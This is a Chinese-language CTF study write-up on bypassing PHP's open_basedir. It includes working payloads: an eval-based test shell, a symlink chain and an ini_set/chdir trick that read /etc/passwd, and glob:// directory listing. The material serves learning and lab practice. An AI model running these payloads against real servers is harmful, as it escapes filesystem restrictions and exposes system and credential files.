绕过 open_basedir

目录

0x01 首先了解什么是 open_basedir

 0x02 通过命令执行绕过

0x03 通过symlink 绕过 (软连接)

0x04利用glob://绕过

方式1——DirectoryIterator+glob://

方式2——opendir()+readdir()+glob://

0x05  通过 ini_set和chdir来绕过


在ctfshow 72遇到的 open_basedir 所以进行学习

https://www.cnblogs.com/hookjoy/p/12846164.html#:~:text=%E5%8F%AA%E6%98%AF%E7%94%A8glob%3A,%E8%83%BD%E8%AF%BB%E5%8F%96%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9%E3%80%82

 上面是师傅的文章

我就跟着复现一下

0x01 首先了解什么是 open_basedir

open_basedir是php.ini的设置

在open_basedir设置路径的话 那么网站访问的时候 无法访问除了设置以外的内容

 这里还有一个知识点

如果我们设置 open_basedir=/var/www/html那我们只能访问/var/www/html/index.php
/var/www/html/images/logo.png
/var/www/html/includes/config.php不能访问/var/www/otherfile.php(不在指定目录之下)
/var/www/html2/index.php(不是以指定路径为前缀)所以open_basedir并不是以目录名为 规定而是路径

我创建了一个test文件夹 存放着 1.php

 

 那我设置open_basedir 指定 test

open_basedir =D:\phpstudy_pro\WWW\test

那我们看看能不能访问1.php

 发现是ok的

那我们去访问一下 www的 flag.php呢

 发现阻止了 并且我们无法访问其他目录 例如 sqli-labs

 0x02 通过命令执行绕过

open_basedir对命令执行没有限制

假如没有进行过滤 那我们就可以通过system函数直接执行

我的1.php代码是

<?phpif(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}?>

没有过滤 而且通过post方式

c=show_source(__FILE__);system('type D:\phpstudy_pro\WWW\flag.php');

 成功绕过了 open_basedir

这里是适用于 没有对命令进行过滤

但是一般都难以使用 会被disable_functions 禁用

0x03 通过symlink 绕过 (软连接)

软连接我们在 ciscn的unzip有见识到就是linux的快捷方式我们可以通过软连接;链接其他文件 然后对其进行访问 

这里还需要介绍symlink()函数

symlink(链接的目标,链接的名称)

我们来尝试一下

<?php 
symlink("/root/.presage/","/root/桌面/exp");
?>

然后我们执行一下

php 2.php

发现真的生成了一个文件夹exp 并且就是指向了我们需要的目录

 这里我们开始复现师傅的内容

mkdir 
创建文件夹chdir
切换到某文件夹的工作区间

 

 假如我们在/var/www/html/的3.php处

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
?>

执行

发现现在的路径变为了/var/www/html/A/B/C/D/

这个时候 我们已经进入了 D目录

我们需要退回 html界面就通过 ..即可

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
?>

这个时候 就处于 var/www/html目录下

然后我们通过软连接链接 abcd

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7abc");
?>

 这个时候 我们再建立

symlink("7abc/../../../../etc/passwd","exp");

的链接

但是这个我们是无法建立的 因为不存在这种软连接

但是我们只需要 删除 7abc的软连接 然后创建一个 7abc的文件夹

那么这样 就是

目录的7abc/../../../etc/passwd

这样就不会访问快捷方式的 而是当前目录的 然后访问exp

 发现就是passwd里的内容了

 这样我们就打破了 open_basedir的限制 访问了其他目录的内容

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7abc");
symlink("7abc/../../../../etc/passwd","exp");
unlink("7abc");
mkdir("7abc");
?>

这里payload的重点就是

我们想要跨越多少层就需要建立多少层的 目录然后通过软连接删除 生成文件夹 然后就可以通过当前文件夹 链接到该去的地方

0x04利用glob://绕过

照常 首先看看什么是 glob://协议

glob://协议 就是查找文件路径的模式是从 5.3开始使用的协议

利用师傅的 内容进行修改

<?php
$it = new DirectoryIterator("glob:///var/www/html/*.php");
foreach($it as $f) {printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
%s:字符串
%.1F 一位小数
%K 单位}
?>

打印一下 var/www/html的内容

发现生效了

 但是如果只是单用 glob://无法绕过的

所以我们需要结合其他函数

方式1——DirectoryIterator+glob://

DirectoryIterator
就是一个接口 用户可以简单轻松的查看目录
<?php
$c=$_GET[c];
$a=new DirectoryIterator($c);
foreach($a as $f){echo($f->__toString().'<br>');
}
?>

然后我们输入 glob:///* 就可以列出根目录

但是 使用这个方法只能访问根目录和open_basedir受限的目录

所以对于 ctfshow web72 也可以使用这个方法访问根目录

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().'<br>');
}exit();
?>

 得到了flag的地址

回到这里

那我们就应该使用另一个方法

方式2——opendir()+readdir()+glob://

opendir()打开目录句柄readdir() 读取目录
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {while ( ($file = readdir($b)) !== false ) {echo $file."<br>";}closedir($b);
}
?>

这里对于web72也可以使用

c=?><?php if ( $b = opendir("glob:///*") ) {while ( ($file = readdir($b)) !== false ) { echo $file."<br>";}closedir($b);}exit();

 

 效果和 DirectoryIterator一样

只能根目录和限定目录

0x05  通过 ini_set和chdir来绕过

<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>

通过相对路径

mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');

首先我们创建一个可以上下跳的目录

/var/www/html创建 mi1k7ea /var/www/html/mi1k7ea切换到当前目录 通过 chdir然后ini_set 设置 open_basedir为 ..那么这个时候 php.ini里的内容就为 ..
那我们进行切换工作目录chdir .. 返回上一个目录 即/var/www/html通过 open_basedir的比对 符合.. 那么就可以访问我们再来一次/var/www/var/
最后到/ 了 但是我们无法通过 / 去访问 因为 / != ..这个时候 我们再来一次 ini_set  设置为 / 这个时候 我们就可以访问 / 下的任何内容了
这里有一个需要注意如果我们的php文件在根目录即/var/www/html/那么就需要创建一个 目录来进行设置
即mkdir("123");chdir("123");ini_set("open_basedir","..");如果我们不在根目录 
即/var/www/html/test/并且open_basedir为 /var/www/html/那么我们就不需要再创建一个目录来设置直接在test上操作即可即 ini_set("open_basedir","..");chdir("..");

到此 差不多就结束了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/62664.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

docker复现nginx错误配置漏洞

目录 一、nginx环境搭建 1.1搭建步骤 二、docker复现Nginx配置漏洞 2.1安装docker 2.2复现过程 2.1CRLF(carriage return/line feed)注入漏洞 2.2.目录穿越 一、nginx环境搭建 1.1搭建步骤 1.先创建Nginx的目录并进入&#xff08;命令如下&#xff09; mkdir /soft &&…

Sui网络的稳定性和高性能

Sui的最初的协议开发者设计了可扩展的网络&#xff0c;通过水平扩展的方式来保持可负担得起的gas费用。其他区块链与之相比&#xff0c;则使用稀缺性和交易成本来控制网络活动。 Sui主网上线前90天的数据指标证明了这一设计概念&#xff0c;在保持100&#xff05;正常运行的同…

HTTP代理编程:Python实用技巧与代码实例

今天我要与大家分享一些关于HTTP代理编程的实用技巧和Python代码实例。作为一名HTTP代理产品供应商&#xff0c;希望通过这篇文章&#xff0c;帮助你们掌握一些高效且实用的编程技巧&#xff0c;提高开发和使用HTTP代理产品的能力。 一、使用Python的requests库发送HTTP请求&a…

第01天 什么是CSRF ?

✅作者简介&#xff1a;大家好&#xff0c;我是Leo&#xff0c;热爱Java后端开发者&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;Leo的博客 &#x1f49e;当前专栏&#xff1a; 每天一个知识点 ✨特色专栏&#xff1…

【论文阅读】基于深度学习的时序预测——Crossformer

系列文章链接 论文一&#xff1a;2020 Informer&#xff1a;长时序数据预测 论文二&#xff1a;2021 Autoformer&#xff1a;长序列数据预测 论文三&#xff1a;2022 FEDformer&#xff1a;长序列数据预测 论文四&#xff1a;2022 Non-Stationary Transformers&#xff1a;非平…

前沿分享-鱼形机器人

可能并不太前沿了&#xff0c;是21年底的新闻了&#xff0c;但是看见了就顺便发一下吧。 大概就是&#xff0c;通过在pH响应型水凝胶中编码不同的膨胀速率而构建了一种环境适应型变形微机器人,让微型机器人直接向癌细胞输送药物从而减轻药物带来副作用。 技术原理是&#xff0c…

关于三维模型OSGB格式轻量化压缩出现分层现象分析

关于三维模型OSGB格式轻量化压缩出现分层现象分析 三维模型OSGB格式的轻量化压缩分层现象是指在进行几何压缩和纹理压缩过程中&#xff0c;由于不同部位的信息复杂度存在差异&#xff0c;可能会出现某些部位被处理过度&#xff0c;导致其失去了细节和质感的现象。本文将从几何…

OpenGL纹理

纹理采样器----纹理坐标 只有纹理坐标&#xff0c;纹理没有作用。 纹理坐标是在顶点着色器中设置&#xff0c;需要传入片段着色器&#xff0c;在片段着色器中需要定义纹理采样器。 然后调用texture函数利用采样器和纹理坐标对纹理进行采样。 我们使用GLSL内建的texture函数…

【云原生】Docker 详解(三):Docker 镜像管理基础

Docker 详解&#xff08;三&#xff09;&#xff1a;Docker 镜像管理基础 1.镜像的概念 镜像可以理解为应用程序的集装箱&#xff0c;而 Docker 用来装卸集装箱。 Docker 镜像含有启动容器所需要的文件系统及其内容&#xff0c;因此&#xff0c;其用于创建并启动容器。 Dock…

Debian/Ubuntu清理硬盘空间

Debian/Ubuntu清理硬盘空间_debian清理磁盘空间_weixin_43606319的博客-CSDN博客 1. 删除残余的配置文件 通常Debian/Ubuntu删除软件包可以用两条命令 sudo apt-get remove <package-name> sudo apt-get purge <package-name> remove将会删除软件包&#xff0…

激光切割机的操作中蛙跳技术是什么意思

其实&#xff0c;蛙跳技术就是指在激光切割机运行的过程中&#xff0c;机器换位置的方式。打个比方&#xff0c;你刚刚在这儿把孔1切好了&#xff0c;接下来就得跑到那儿把孔2切了。 在这个过程中&#xff0c;激光切割机就像是一只青蛙&#xff0c;要从一个位置跳到另一个位置。…

PAT 1085 Perfect Sequence

个人学习记录&#xff0c;代码难免不尽人意 Sample Input: 10 8 2 3 20 4 5 1 6 7 8 9 Sample Output: 8 #include<cstdio> #include<iostream> #include<vector> #include<algorithm> #include<string> #include<map> #include<cmath&…